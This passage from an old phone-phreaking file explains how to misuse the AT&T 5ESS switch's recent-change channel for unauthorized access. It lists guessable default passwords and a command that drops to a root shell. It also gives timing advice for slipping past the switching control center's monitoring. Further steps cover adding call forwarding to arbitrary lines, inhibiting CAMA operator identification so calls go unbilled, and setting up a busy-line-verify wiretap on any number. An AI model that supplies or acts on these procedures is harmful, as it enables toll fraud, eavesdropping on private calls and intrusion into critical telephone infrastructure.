order the OM manuals for the 5ESS, watch out, they are about 5 times the size of
the IM (input manual) set. On average it takes someone three years of training
to be able to understand all this stuff, there is no way anyone can write a
little file in Phrack and hope all who read it understand everything about the
5ESS. RTFM!
RC Channel
~~~~~~~~~~
The RC/V (Recent Change/Verify) Channel is where new features can be added or taken
away from phone lines. This is the main channel you may come in contact with,
if you come in contact with any at all. When one connects to a 5ESS RC/V channel
one may be dumped to a CRAFT
shell if the login has not been activated. Access to the switch when the
login is active is controlled by lognames and passwords to restrict
unwanted entry to the system. In addition, the SCC (Switching Control
Center) sets permission modes in the 5ESS switch which control the RC
(recent change) security function.
The RC security function determines whether recent changes may be made
and what types of changes are allowed. If a situation arises where the RC
security function denies the user access to recent change via RMAS or RC
channels, the SCC must be contacted so that the permission modes can be
modified. (Hint Hint)
The RC security function enables the operating telephone company
to decide which of its terminals are to be allowed access to which
set of RC abilities. NOTE that all verify input messages are always
allowed and cannot be restricted, which does not help too much.
The RC security data is not part of the ODD (office dependent data).
Instead, the RC security data is stored in relatively safe DMERT operating
system files which are only modifiable using the following message:
SET:RCACCESS,TTY="aaaaa",ACCESS=H'bbbbb;
where: aaaaa = Symbolic name of terminal in double quotes
H' = Hexadecimal number indicator in MML
bbbbb = 5-character hexadecimal field in 5E4 constructed
from binary bits corresponding to RC ability.
The field range in hexadecimal is from 00000 to
FFFFF.
This message must be entered for each type terminal (i.e.
"aaaaa"="rmas1", "rmas2", etc., as noted above in
TTY explanations).
NOTE: Order IM-5D000-01 (5ESS input manual) or OM-5D000-01 (5ESS output manual)
for more information on this and other messages from the CIC at 1-800-432-6600.
You have the money, they have the manuals, do not ask, just order. I
think they take AMEX!
When the message is typed in, a DMERT operating system file is created
for a particular terminal. The content of these files, one for each terminal,
is a binary field with each bit position representing a unique set of RC
abilities. Conversion of this hexadecimal field to binary is accomplished
by converting each hexadecimal character to its equivalent
4-bit binary string.
----------------------------------------------------------
HEX BINARY | HEX BINARY | HEX BINARY | HEX BINARY
-------------|--------------|--------------|--------------
0 0000 | 4 0100 | 8 1000 | C 1100
-------------|--------------|--------------|--------------
1 0001 | 5 0101 | 9 1001 | D 1101
-------------|--------------|--------------|--------------
2 0010 | 6 0110 | A 1010 | E 1110
-------------|--------------|--------------|--------------
3 0011 | 7 0111 | B 1011 | F 1111
----------------------------------------------------------
Each bit position corresponds to a recent change functional area.
A hexadecimal value of FFFFF indicates that all bit positions are
set to 1 indicating that a particular terminal has total RC access. Also,
verify operations as well as lettered classes are not included in the
terminals security scheme since all terminals have access to verify views
and lettered classes.
In addition, maintenance personnel are able to verify the security
code for any terminal by typing the following message from either
the MCC (Master Control Center) or SCCS (Switching Control Center System)
Mini terminal:
OP:RCACCESS,TTY="xxxxx";
where: xxxxx = symbolic name of terminal in double quotes.
Each bit position corresponds to a recent change functional area.
To ensure redundancy, DMERT operating system files are backed up
immediately on disk by the SCC.
The input message that defines the password and CLERK-ID (another name for
username) is in the Global RC feature. This input message defines a clerk-id
and associated password or deletes an existing one. (Recall that CLERK-ID and
PASSWORD are required fields on the Global RC Schedule view 28.1 in
RCV:MENU:APPRC, but more on this later)
This new input message is as follows:
GRC:PASSWORD,CLERKID=xxxxxxxxxx,[PASSWD=xxxxxxxx|DELETE]
Note: CLERKID can be from 1 to 10 alphanumeric characters and
PASSWORD from 1 to 8 alphanumeric characters.
This input message can only be executed from the MCC or SCCS
terminals, and only one password is allowed per CLERK-ID. To
change a clerk-id's password, this message is used with the same
CLERK-ID but with a different password.
Global RC Schedule View 28.1 from the RC/V Recent Change Menu System
----------------------------------------------------------------------------
5ESS SWITCH WCDS0
RECENT CHANGE 28.1
GLOBAL RECENT CHANGE SCHEDULING
*1. GRC NAME __________
*2. SECTION _____
#3. CLERK ID __________
#4. PASSWORD ________
5. MODE _______
6. RDATE ______
7. RTIME ____
8. SPLIT _
9. SPLIT SIZE _____
10. MAX ERRORS _____
11. VERBOSE _
----------------------------------------------------------------------------
When the security is set up on the RC/V channel, one will see:
----------------------------------------------------------------------------
5ESS login
15 WCDS0 5E6(1) ttsn-cdN TTYW
Account name:
----------------------------------------------------------------------------
There are no defaults, since the CLERK-ID and the password are set by craft,
but common password would be the name of the town, CLLI, MANAGER, SYSTEM,
5ESS, SCCS1, SCC, RCMAC, RCMAxx, etc,...
If one sees just a " < " prompt you are at the 'craft' shell
of the RC/V channel, the 5E login has not been set. The Craft shell is
running on the DMERT (which is a UNIX environment development operating system,
a System V hack). The Craft shell prompt is a "<". From this shell one
will see several error messages. Here is a list and what they mean:
Error Message Meaning
?A Action field contains an error
?D Data field contains an error
?E Error exists in the message but can not be resolved to
the proper field (this is the "you have no idea" message)
?I Identification field contains an error
?T Time-out has occurred on channel
?W Warning exists in input line
Other output message meanings, from the RC/V craft menu.
OK Good
PF Printout follows
RL Retry later
NG No good, typically hardware failure
(ie: SM does not exist)
IP In progress
NA The message was not received by the backup control
process
When inputing RC messages it is best to do it in the middle of the day
since RC messages are sent to each channel! The SCC is watching and if
there are RC messages running across at 3 in the morning, the SCC is going
to wonder what the hell RCMAC (Recent Change Memory Administration Center)
is doing at three in the morning! However, one may be hidden by MARCH's
soaking, and the night shift at the SCC are overloaded and may miss
what is going on while correcting other major problems. So it is up to
you.
DMERT
~~~~~
The DMERT (Duplex Multiple Environment Real Time) uses the Western
Electric (another name for AT$T!) 3B20D Duplex processor (or 2 3B20S
Simplex processors). The DMERT software totals nearly nine thousand
source files, one million lines of non-blank source code,
and was developed by approximately 200 programers. There are eight main
releases of this software, they are referred to as generics (like 5E4.1,
5E4.2, to 5E8.1 also seen as 5E4(1), 5E4(2) to 5E8(1), this can be though
of as DOS version). DMERT is similar to regular UNIX but can be best described
as a custom UNIX system based on the 3B20D, the DMERT OS can be ported to
PDP-11/70s or a large IBM Mainframe. The DMERT operating system is split both
logically and physically. Physically, the software is evenly divided across
the five (there were seven Software Development systems all running a 3B20S
where the DMERT code was written) Software Development systems. Logical, the
software is divided into twenty-four different subsystems. To access this
from the "craft" shell of the RC/V channel, type:
RCV:MENU:SH!
NOTE:
This will dump one to a root shell, from which VaxBuster's (Who knows nothing
about VAXen, always wondered about him) file on how to redirect a TTY may
come in useful.
Programing the 5ESS
~~~~~~~~~~~~~~~~~~~
When programing the 5ESS there are things one should know, the first is that
one has a lot of power (just keep 911 in mind, it would be foolish to even
think of disrupting anyones service. 911 is there for a reason, it should STAY
that way). And anything one does is logged, and can be watched from the
SCC. Note that the night SCC crew is a lot more lax on how things are done
then the day shift, so it would be best to do this at night. I could tell you
how to crash the switch in two seconds, but that is not the point here.
Destroying something is easy, anyone can do that, there is no point to it.
All that taking down a switch will do is get one into jail, and get sued if
someone needed 911 etc,... (I think SRI is wishing they had talked to me
now).
RC from Craft Shell on RC/V Channel
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
RC and VFY is complex from the craft shell on the RC/V channel.
This is called the input text option. It is accessed by using the
RCV:APPTEXT:
This gets a little complex to follow, but the best thing to do
is to order the Manual 235-118-215 Recent Change Procedures Text Interface
[5E4] it is $346.87, another good one to get is 235-118-242, for $413 even
and last, but the best is 235-118-243, this beast is only $1344.63 what a
deal. When calling the CIC they will transfer you to a rep. from your area.
Gets to be kind of a pain in the ass, but.. Anyways, back on track:
RCV:APPTEXT:DATA[,SUMMARY|,NSUMMARY][,VFYIMMED|,VFYEND][,VFYNMVAL|,VFYSCIMG]
[,DEVICE={STDOUT|ROP|ROP0|FILE|TTYx}],FORM=...,DATA,FORM=...,END;
DATA - This is for more then one RC operation in the same command
FORM - The format that is to be used
SUMMARY - Turns on one line summaries on the read only printer (ROP) (DEFULT)
NSUMMARY - Turns off one line summary logging by the ROP
VFYIMMED - Prints out verifies (VFYs) immediately, does not wait for
session end.
VFYEND - Prints out all VFYs at session end, this is the DEFULT.
VFYNMVAL - Print verify output in name-value pair format, this must be
directed into a file (see DEVICE).
VFYSCIMG - Makes output into screen size image (DEFULT).
DEVICE - Redirect verify output to a device other than ones screen.
ROP/ROP0 - Send verify output to the ROP
STDOUT - Send verify output to ones screen (DEFULT)
TTYx - Send verify output to any valid tty (such as
ttya and ttyv) that exists in "/dev." You
must use the tty name, not tty number.
FILE - Send verify output to a file in "/rclog". The
file will be prefixed with "RCTX", and the user
will be given the name of the file at the
beginning and end of the APPTEXT session.
END - END of message.
If the parameter is not entered on the command line, it may be
entered after the APPTEXT process begins, but must be entered prior to the
first "FORM=" statement. Here is a example of a MML RCV:APPTEXT.
rcv:apptext:data,form=2v1&vfy,set="oe.entype"&lset="oe.len"&xxxxxxxx,pty=i,vfy!
The 2V1 may look strange at first, it may help getting use to the basics
first. To just VFY telephone numbers, just do a:
RCV:APPTEXT:DATA,FORM=1V6-VFY,TN=5551212,VFY,END!
Though I can not really explain this any more then I have just due to
time and space. These input messages may look complex at first, but are
really simple, and much better then dealing with the menu system, but
you will need to learn RC yourself! No one can explain it to you.
Pulling AMA from the RC/V channel Craft Shell
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Pulling AMA up is done with one command. The command is:
OP:AMA:SESSION[,ST1|,ST2];
This command will request a report of the current or most recent automatic
message accounting (AMA) tape. ST1 and ST2 are the data streams.
Pulling up out of Service Lines, Trunks or Trunk Groups
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
One may want to pull up all the out of service lines, trunks, or
trunk groups for many reasons. These reasons i will not go into, but
from which lines can be set up. The command to do this from the craft
shell is a PDS command, this command is with a 'ball bat' (a `` ! '').
OP:LIST,LINES[,FULL][,PRINT][;[a][,b][,c][,d][,e]]!
OP:LIST,TRUNKS[,FULL][,PRINT][;[a][,b][,c][,d][,e]]!
OP:LIST,TG [,FULL][,PRINT][;[a][,b][,c][,d][,e]]!
FULL - All (primary and pending) are printed. Note FULL is not the
default when inputing this command.
PRINT - Print to the ROP in the CO. (Not a good idea)
a-e - This is port status to match against the subset of trunks, lines
or trunk groups that are specified. (This is required input
for FULL)
The 5ESS RC/V Menu Shell
~~~~~~~~~~~~~~~~~~~~~~~~
To access this shell from the RC/V channel craft shell, type:
RCV:MENU:APPRC
at the `` < '' prompt.
To access the 5ESS RC/V menu system from the MCC, STLWS, and TLWS
channel/terminals, one uses what are called pokes. The poke that
is used here to access the RC/V Menu system on the 5ESS is 196.
Type 196 at the `` CMD< '' prompt, and you are on the RC/V menu system
of the 5ESS switch. This will cause ``RC/V 196 STARTING'' and
``RC/V 196 COMPLETED'' to be printed out on the ROP.
Either way, this will toss you into a menu system. The main menu looks like
this:
------------------------------------------------------------------------------
5ESS SWITCH WCDS0
RECENT CHANGE AND VERIFY CLASSES
H RCV HELP 9 DIGIT ANALYSIS 20 SM PACK & SUBPACK
A ADMINISTRATION 10 ROUTING & CHARGING 21 OSPS FEATURE DEFINITION
B BATCH INPUT PARMS 11 CUTOVER STATUS 22 ISDN -- EQUIPMENT
1 LINES 12 BRCS FEATURE DEFINITION 23 ISDN
2 LINES -- OE 13 TRAFFIC MEASUREMENTS 24 APPLICATIONS PROCESSOR
3 LINES -- MLHG 14 LINE & TRUNK TEST 25 LARGE DATA MOVEMENT
4 LINES -- MISC. 15 COMMON NTWK INTERFACE 26 OSPS TOLL & ASSIST/ISP
5 TRUNKS17 CM MODULE 27 OSPS TOLL & ASSIST
7 TRUNKS - MISC. 18 SM & REMOTE TERMINALS 28 GLOBAL RC - LINES
8 OFFICE MISC. & ALARMS 19 SM UNIT
Menu Commands:
------------------------------------------------------------------------------
The help menus for the 5ESS switch are lame, but I though that it would
be good to show them to you just for the hell of it, because it does explain
a little about the switch.
------------------------------------------------------------------------------
SCREEN 1 OF 7 5ESS SWITCH
RECENT CHANGE VIEW H.1
COMMANDS FOR MENU PAGES
H - Explains commands for MENU or views. If you enter H again, then it
will display next HELP page.
H# - Select HELP page. (# - help page number)
Q - Quit Recent Change and Verify.
R - Change mode to RECENT CHANGE
V - Change mode to VERIFY
< - Go to CLASS MENU page.
# - If on CLASS MENU page Go to a VIEW MENU page #.
# - If on VIEW MENU page Go to a RECENT CHANGE or VERIFY VIEW #.
#.# - Go to a RECENT CHANGE or VERIFY VIEW. (CLASS#.VIEW#)
---------------------------------------------------
SCREEN 2 OF 7 5ESS SWITCH
RECENT CHANGE VIEW H.1
COMMANDS FOR MENU PAGES
#R - Go to Recent Change view for read.
#I - Go to Recent Change view for insert.
#D - Go to Recent Change view for delete (only print Key fields).
#DV - Go to Recent Change view for delete with verify (print all fields).
#U - Go to Recent Change view for update.
#UI - Go to Recent Change view for update in insert mode (user can change
each field sequentially without typing field number).
#V - Go to Verify view.
#N - Go to next menu page. Back to the 1st page if there's no next page.
------------------------------------------------
SCREEN 3 OF 7 5ESS SWITCH
RECENT CHANGE VIEW H.1
COMMANDS FOR BATCH
BMI - Delayed Activation Mode. Choose time or demand release (for time
release add service information). Select view number for Recent Change.
BMD - Display Status of Delayed Activation Recent Changes.
BMR - Release a file of Recent Changes stored for Delayed Activation.
IM - Immediate Release Mode.
________________________________________________
SCREEN 4 OF 7 5ESS SWITCH
RECENT CHANGE VIEW H.1
COMMANDS FOR VIEWS
< - In first field: Leave this view and return to select view number.
< - Not in first field: Return to first field.
^ - In first field: Select new operation for this view.
^ - Not in first field: Return to previous field.
> or ; - Go to end of view or stop at next required field.
* - Execute the operation or go to next required field.
? - Toggle help messages on and off.
Q - Abort this view and start over.
V - Validate input for errors or warnings.
________________________________________________
SCREEN 5 OF 7 5ESS SWITCH
RECENT CHANGE VIEW H.1
COMMANDS FOR VIEWS
R - Review view from Data Base.
I - Insert this view into Data Base.
U - Update this view into Data Base.
D - Delete this view from Data Base (only print Key fields).
C - CHANGE: Change a field - All fields may be changed except key fields
when in the update mode only.
C - CHANGE-INSERT: Allowed in the review mode only - Allows you to review
C - CHANGE-INSERT: Allowed in the review mode only - Allows you to review
a view and then insert a new view with similar field. You must change
the key fields to use this facility. You may change other fields as
required by the new view.
P - Print hard copy of screen image (must have RC/V printer attached).
________________________________________________
SCREEN 6 OF 7 5ESS SWITCH
RECENT CHANGE VIEW H.1
COMMANDS FOR VIEWS
The following are used only on views containing LISTS.
` - Blank entire row.
- Sets this field to its default value.
: - Sets this row to its default value.
[ - Go backward to previous row.
] - Go forward to next row.
; - Go to end of view or stop at next required field.
# - Go to end of list and stop at next non-list field.
{ - Delete current row and move next row to current row.
} - Move current row to next row and allow insert of row.
= - Copy previous row to current row.
* - Execute the operation or stop at next required field.
________________________________________________
SCREEN 7 OF 7 5ESS SWITCH
RECENT CHANGE VIEW H.1
COMMANDS FOR AUTOMATIC FORMS PRESENTATION
If RC/V is in automatic forms presentation and "Q" or "q" is
entered for the operation, the following commands are available.
A - Abort form fields. RC/V stays in the current form.
B - Bypass form. Go to next form using automatic forms presentation.
C - Cancel automatic forms presentation. The previous menu
will be displayed.
H - Display automatic forms presentation help messages.
< - Bypass form. Go to next form using automatic forms presentation.
______________________________________________________________________________
When accessing the databases, here is a list of database access selections:
I (insert) - Insert new data
R (review) - Review existing data
U (update) - Update or change existing data
D (delete) - Delete (remove) unwanted data from the data base
V (verify) - Verify the data in the data base.
These are to be entered when one sees the prompt:
-----------------------------------------------------------------------------
Enter Database Operation
I=Insert R=Review U=Update D=Delete : _
------------------------------------------------------------------------------
When using the RC/V menu system of the 5ESS, you may go and just keep going into
sub-menus, and fall off the end of the Earth. Here are the navigational
commands that are used to move around the menu system. As seen from the
RC/V menu system help, you see "SCREEN X out of X." This means that there are
so many screens to go and to move between the screens you use the `` < '' to
move back (toward main menu) and `` > '' to move to the last menu. I know it
is shown in the help menu, but it is not explained like it needs to be.
Batch Input
~~~~~~~~~~~
The Batch Input feature for the 5ESS switch allows recent changes (RC)
to be entered at any date and time when the RC update would be
performed. This allows RC input to be entered quickly, and for a large
number of inputs. The large numbers of RC input can be released
quickly in batch mode. The RC input can then be entered at any time,
stored until needed, and then released for use by the system
whenever needed, at any specific date and/or time.
First and second level error correction is done during batch input.
There are several different modes of batch input. These are:
BMI - batch mode input - TIMEREL and DEMAND
BMD - batch mode display
BMR - batch mode release
BMI - Batch Mode Input - TIMEREL and DEMAND
Entering BMI (Batch Mode Input), one types `` BMI '' at the RC/V
menu prompt. Once entering, you will be prompted with whether
the input is DEMAND (demand) or TIMEREL (Time Release). DEMAND
input allows one to manual have the batch update the database,
TIMEREL is automatic. TIMEREL has one enter a time and date.
When using DEMAND, you will be prompted for the file name. The
file will be in `` /rclog '' in the DMERT OS.
In TIMEREL, you will be prompted with the CLERK-ID, which in this
case is the file name for the file in the `` /rclog ''. Then
for VERBOSE options, the RC SRVOR (Recent Change Service Order)
is displayed on the screen.
-RC SRVOR View in the BMI TIMEREL Batch Option-
------------------------------------------------------------------------------
5ESS SWITCH
RECENT CHANGE B.1
SERVICE ORDER NUMBER VIEW
*1. ORDNO __________
*2. ITNO ____
*3. MSGNO ____
#4. RDATE ______
#5. RTIME ____
Enter Insert, Change, Validate, or Print:
-----------------------------------------------------------------------------
ORDNO = Service Order Number
ITNO = Item Number
MSGNO = Message Number
RDATE = Release Date (Update database Date)
RTIME = Release Time (Update database Time)
BMD - batch mode display
BMD is a "mask" of RC/V done from the RC/V channel craft shell, by using the
REPT:RCHIST or a pseudo menu system. All transactions are displayed on the ROP,
though the data could also be sent to a file in the `` /rclog '' in DMERT.
The Pseudo menu system looks like:
----------------------------------------------------------------------------
1. Summary of clerk activity
2. Activity by service order number
3. Activity by clerk ID
4. Return to view or class menu.
----------------------------------------------------------------------------
1 allows one to view the "DELAYED RELEASE SUMMARY REPORT."
2 produces a "DELAYED RELEASE REPORT BY SERVICE ORDER."
3 produces the "DELAYED RELEASE REPORT BY CLERK ID."
4 Return to view or class menu, self-explanatory.
REPT:RCHIST - BMD
The REPT:RCHIST BMD (Text) command is done from the RC/V channel craft
shell. The command synopsis is:
5E2 - 5E5 (Generics)
REPT:RCHIST,CLERK=[,FORMAT={SUMMARY|DETAIL}]{[,ALL]|[,PENDING][,COMPLETE]
[,ERROR][,DEMAND]}[,DEST=FILENAME][,TIME=XXXXXXXXXX];
5E6 - 5E8 (Generics)
REPT:RCHIST,CLERK=a[,FORMAT={SUMMARY|DETAIL}] {,ALL|,b}[,DEST={c|FILE}]
[,TIME=XXXXXXXXXX];
SUMMARY - Report selection, format by key.
DETAIL - Report selection for Recent Change entire.
ALL - Report all recent changes.
PENDING - Report pending recent change input.
COMPLETE - Report released recent changes that was successful
when completed.
FILE - Name for file in /rclog
ERROR - Report recent changes released with error.
DEMAND - Report demand recent changes.
TIME=XXXXXXXXXX - XX - mounth, XX - day, XX - hour, XX minute, XX - Second
BMR - batch mode release
This is the manual release (updating) of the 5ESS database. This is done
from the RC/V channel craft shell. The command that is used is the EXC:RCRLS
input message. There is no real need to go into this message.
Adding RCF (Remote Call Forward) on a 5ESS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. At the "MENU COMMANDS" commands prompt of the 5ESS main menu in the
RC/V APPRC menu system of the 5ESS, enter '12' for the "BRCS FEATURE
DEFINITION". Then access screen '1.11', this is the BRCS screen. When it
asks you to 'ENTER DATABASE OPERATION' enter "U" for Update and hit
return.
NOTE: When at menu '12,' you will NOT see '1.11' listed in the menu
options. By just accessing menu '1' you will not be able to add features.
This is a problem with the 5ESS menu system.
2. Type in the Telephone Number. It should look like this:
------------------------------------------------------------------------------
Mon Feb 31 09:09:09 2001 RFA_TN
-------------------------------------------------------------------------
5ESS SWITCH WCDS0
SCREEN 1 OF 2 RECENT CHANGE 1.11
BRCS FEATURE ASSIGNMENT (LINE ASSIGNMENT)
*1. TN 5551212 * 2. OE _ ________ 3. LCC ___ 4. PIC 288
*5. PTY _* 6. MLHG ____ 7. MEMB ____ 8. BFGN _______ _
FEATURE LIST (FEATLIST)
ROW 11. FEATURE A P 15. FEATURE A P 19. FEATURE A P 23. FEATURE A P
1. /CFV N _ ________ _ _ ________ _ _ ________ _ _
2. ________ _ _ ________ _ _ ________ _ _ ________ _ _
3. ________ _ _ ________ _ _ ________ _ _ ________ _ _
4. ________ _ _ ________ _ _ ________ _ _ ________ _ _
------------------------------------------------------------------------------
and will prompt you with:
------------------------------------------------------------------------------
Enter Insert, Change, Validate, screen#, or Print: _
form operation prompt
------------------------------------------------------------------------------
I - to insert a form
C - to change a field on a form
V - to validate the form
A - to display the desired screen number
P - to print the current screen
U - to update the form
Enter `` C '' to change, access filed 11 and row 1 (goto the /CFV
wherever it may be) or add /CFR if it is not there. If it does though,
leave the "A" (Active) field "N" (Yes or No). Change the P (Presentation)
column to "U" (Update). Then Hit Return.
NOTE: Different Generics have other fields, one of them being a AC (Access
Code) field. This field is a logical field, that mean only accepts a
"Y" for yes and "N" for no. Also when adding the feature to the switch,
the row and field numbers may not be shown, but will always follow this
pattern. Also note that the /CFV (Call forwarding variable) feature may not
be there, there maybe no features on the line. These examples are from
Generic 4 (2). Here is a example of 5E8 (which is not used too many places,
but this is what menu 1.11 in the BRCS Feature Definition looks like:
-------------------------------------------------------------------------------
5ESS SWITCH
SCREEN 1 OF 2 RECENT CHANGE 1.11
(5112,5113)BRCS FEATURE ASSIGNMENT (LINE)
(*)1. TN _______ (*)2. OE _ ________ 3. LCC ___ 4. PID ___
(*)6. MLHG ____ 8. BFGN _______ _
(*)5. PTY _(*) 7. MEMB ____
11. FEATURE LIST (FEATLIST)
ROW FEATURE A P AC R ROW FEATURE A P AC R ROW FEATURE A P AC R
1 ________ _ _ _ _ 8 ________ _ _ _ _ 15 ________ _ _ _ _
2 ________ _ _ _ _ 9 ________ _ _ _ _ 16 ________ _ _ _ _
3 ________ _ _ _ _ 10 ________ _ _ _ _ 17 ________ _ _ _ _
4 ________ _ _ _ _ 11 ________ _ _ _ _ 18 ________ _ _ _ _
5 ________ _ _ _ _ 12 ________ _ _ _ _ 19 ________ _ _ _ _
6 ________ _ _ _ _ 13 ________ _ _ _ _ 20 ________ _ _ _ _
7 ________ _ _ _ _ 14 ________ _ _ _ _ 21 ________ _ _ _ _
Enter Insert, Change, Validate, screen#, or Print: _
-------------------------------------------------------------------------------
Hit Return twice to get back to "ENTER UPDATE, CHANGE, SCREEN #, OR PRINT:".
Enter a "U" for update and hit Return. It will say "FORM UPDATE".
3. Next access screen 1.22, call forwarding (line parameters) or it will
just come up automatically if you set the "P" to "U".
------------------------------------------------------------------------------
Mon Feb 31 09:09:09 2001 RCFLNTN
----------------------------------------------------------------------
5ESS SWITCH WCDS0
RECENT CHANGE 1.22
CALL FORWARDING (LINE PARAMETERS)
*1. TN 5551212
*6. FEATURE CFR
9. FWDTODN ______________________________
10. BILLAFTX 0 16. SIMINTER 99
11. TIMEOUT 0 17. SIMINTRA 99
12. BSTNINTVL 0 18. CFMAX 32
13. CPTNINTVL 0 19. BSRING N
-------------------------------------------------------------------------------
4. If you used the automatic forms presentation, it will have the telephone
number already on LINE1. If not retype the telephone number you want
forwarded. The bottom of the screen will say "ENTER UPDATE, CHANGE, VALIDATE
OR PRINT:", type "C" for change and hit return.
5. When it says CHANGE FIELD type "9" and enter your forward to DN (Destination
Number) including NPA if necessary. This will put you back to the "CHANGE
FIELD" prompt. Hit return again for the "ENTER UPDATE, CHANGE, VALIDATE OR
PRINT:". Hit "U" for Update form and wait for "FORM UPDATED".
6. Lastly, access screen 1.12, BRCS FEATURE ACTIVATION (LINE ASSIGNMENT). At the
prompt enter a "U" for Update, and on ROW 11 Line 1 (or wherever), change
the "N" in column "A" to a "Y" for Yes, and you are done.
Adding other features
~~~~~~~~~~~~~~~~~~~~~
To add other features onto a line, follow the same format for adding the
/CFR, but you may not need to access 1.22. Some other features are:
Feature Code: Feature Name:
/LIDLXA - CLID
/CFR - Remote Call Forward
/CWC1 - Call Waiting
/CFBLIO - call forward busy line i/o
/CFDAIO - call forward don't answer i/o
/CFV - call forwarding variable
/CPUO - call pick up o !used in the selq1 field!
/CPUT - call pick up t !used in the tpredq field!
/CWC1D - Premiere call waiting
/DRIC - Dist. ring
/IDCT10 - Inter room ID
/IDCTX2 - 1digit SC
/IDCTX2 - Interoom ID 2
/IDCTX2 - Premiere 7/30, convenience dialing
/IDCTX3 - Premiere 7/30, no cd
/IDMVP1 - Premiere 2/6, no convenience dialing
/IDMVP2 - Premiere 2/6, CD, not control sta.
/IDMVP3 - Premiere 2/6, CD, control station
/MWCH1 - Call hold
/MWCTIA2 - Call transfer 2
/TGUUT - Terminal group ID number with TG view (1.29).
ANI/F the whole switch
~~~~~~~~~~~~~~~~~~~~~~~
Automatic Number Identification failure (also called "dark calls") are
caused by variety of different things. To understand this better, here are
the technical names and causes, note this is not in stone and the causes
are not the only causes for a ANI-F to occur.
ANF -- Failure to receive automatic number identification
(ANI) digits on incoming local access and transport
area (LATA) trunk.
ANF2 -- Automatic number identification (ANI) collected by
an operator following a failure to receive ANI
digits on an incoming centralized automatic
message accounting (CAMA) trunk from the DTMF decoder.
ANI -- Time-out waiting for far off-hook from Traffic
Service Position System (TSPS) before sending ANI
digits.
Though, I have always wondered how to set one up myself in a safe way.
One way nice way to get ANI/F through a 5ESS to use a inhibit command.
INH:CAMAONI;
The command will inhibits centralized automatic message accounting (CAMA)
operator number identification (ONI) processing. This is done from the DTMF
decoder (going over later). This message will cause a minor alarm too occur.
If in the CO when the alarm occurs, you will here this bell all the time,
because something is always going out. In this case, this alarm is a level 1
(max to five) and the bell will ring once.
Once this message is inputed, all calls through CAMA operator will be
free of change. So just dial the operator and you will have free calls.
To place this back on the switch, just type:
ALW:CAMAONI;
and the minor alarm will stop, and things will go back to normal.
Setting up your own BLV on the 5ESS from the Craft shell RC/V Channel
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Well, we have come to the fun part, how to access the No-Test trunk on
the 5ESS (this is also called adding the third trunk). I will not be too
specific on how to do this. You will need to figure out just how to do this.
The first thing you want to do is to request a seizure of a line for
interactive trunk and line testing. One must assign a test position (TP).
SET:WSPHONE,TP=a,DN=b
SET:WSPOS,TP=a,DN=b
a = A number between 1 and 8
b = The number you wish assigned to the test position
This will chose a number to be the test number on the switch. Now using
the CONN:WSLINE one can set up a BLV.
CONN:WSLINE,TP=a,DN=b;
a = TP that you set from the SET:WSPOS
b = The number you want to BLV
To set this up on a MLHG (can come in real useful for those peksy
public packet switched networks), do a:
CONN:WSLINE,TP=a,MLHG=x-y;
x = MLHG number, y = MLHG member number
To take set things back to normal and disconnect the BLV do a:
DISC:WSPHONE,TP=z
z = TP 1 through 8
NOTE:
One may need to do a ALW:CALLMON before entering the CONN commands
BIG NOTE:
If you set your home telephone number as the test position, and you
have only one phone line, you are stupid.
Comments about the Underground
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There are a few people out there who have no idea what they are doing, and
go on thinking they know it all (i.e. No Name Brand). It pisses me off when
these people just go off and make shit up about things they have no idea
what they are talking about.
This file is to all the lazy people out there that just keep bitching
and moaning about not knowing where to find information.
Other Sources
~~~~~~~~~~~~~
Here is a list of Manuals that you can order from the CIC (1-800-432-6600).
Note that some of these manuals are well over hundreds of dollars.
Manual 234-105-110 System Maintenance Requirements and Tools
Manual 235-001-001 Documentation Guide
Manual 235-070-100 Switch Administration Guidelines
Manual 235-100-125 System Description
Manual 235-105-110 System Maintenance Requirements and Tools
Manual 235-105-200 Precutover and Cutover Procedures
Manual 235-105-210 Routine Operations and Maintenance
Manual 235-105-220 Corrective Maintenance
Manual 235-105-231 Hardware Change Procedures - Growth
Manual 235-105-24x Generic Retrofit Procedures
Manual 235-105-250 System Recovery
Manual 235-105-250A Craft Terminal Lockout Job Aid
Manual 235-105-331 Hardware Change Procedures - Degrowth
Manual 235-105-44x Large Terminal Growth Procedures
Manual 235-118-200 Recent Change Procedures Menu Mode Generic Program
Manual 235-118-210 Recent Change Procedures Menu Mode
Manual 235-118-213 Menu Mode 5E4 Software Release
Manual 235-118-214 Batch Release 5E4 Software Release
Manual 235-118-215 Text Interface 5E4 Software Release
Manual 235-118-216 Recent Change Procedures
Manual 235-118-217 Recent Change Procedures Batch Release 5E5 Software
Release
Manual 235-118-218 Recent Change Attribute Definitions 5E5 Software Release
Manual 235-118-21x Recent Change Procedures - Menu Mode
Manual 235-118-224 Recent Change Procedures 5E6 Software Release
Manual 235-118-225 Recent Change Reference 5E6 Software Release
Manual 235-118-240 Recent Change Procedures
Manual 235-118-241 Recent Change Reference
Manual 235-118-242 Recent Change Procedures 5E8 Software Release
Manual 235-118-24x Recent Change Procedures
Manual 235-118-311 Using RMAS 5E4 Software Release
Manual 235-118-400 Office Records and Database Query 5E4 Software Release
Manual 235-190-101 Business and Residence Modular Features **
Manual 235-190-105 ISDN Features and Applications
Manual 235-190-115 Local and Toll System Features
Manual 235-190-120 Common Channel Signaling Service Features
Manual 235-190-130 Local Area Services Features
Manual 235-190-300 Billing Features
Manual 235-600-103 Translations Data
Manual 235-600-30x ECD/SG Data Base
Manual 235-600-400 Audits
Manual 235-600-500 Assert Manual
Manual 235-600-601 Processor Recovery Messages
Manual 235-700-300 Peripheral Diagnostic Language
Manual 235-900-101 Technical Specification and System Description
Manual 235-900-103 Technical Specification
Manual 235-900-104 Product Specification
Manual 235-900-10x Product Specification
Manual 235-900-301 ISDN Basic Rate Interface Specification
Manual 250-505-100 OSPS Description and Procedures
Manual 363-200-101 DCLU Integrated SLC Carrier System
Manual TG-5 Translation Guide
Practice 254-341-100 File System Software Subsystem Description
3B20D Computer
Practice 254-301-110 Input-Output Processor Peripheral Controllers
Description and Theory of Operation AT$T 3B20D
Model 1 Computer None.
Practice 254-341-220 3B20 System Diagnostic Software Subsystem
Description 3B20D Processor
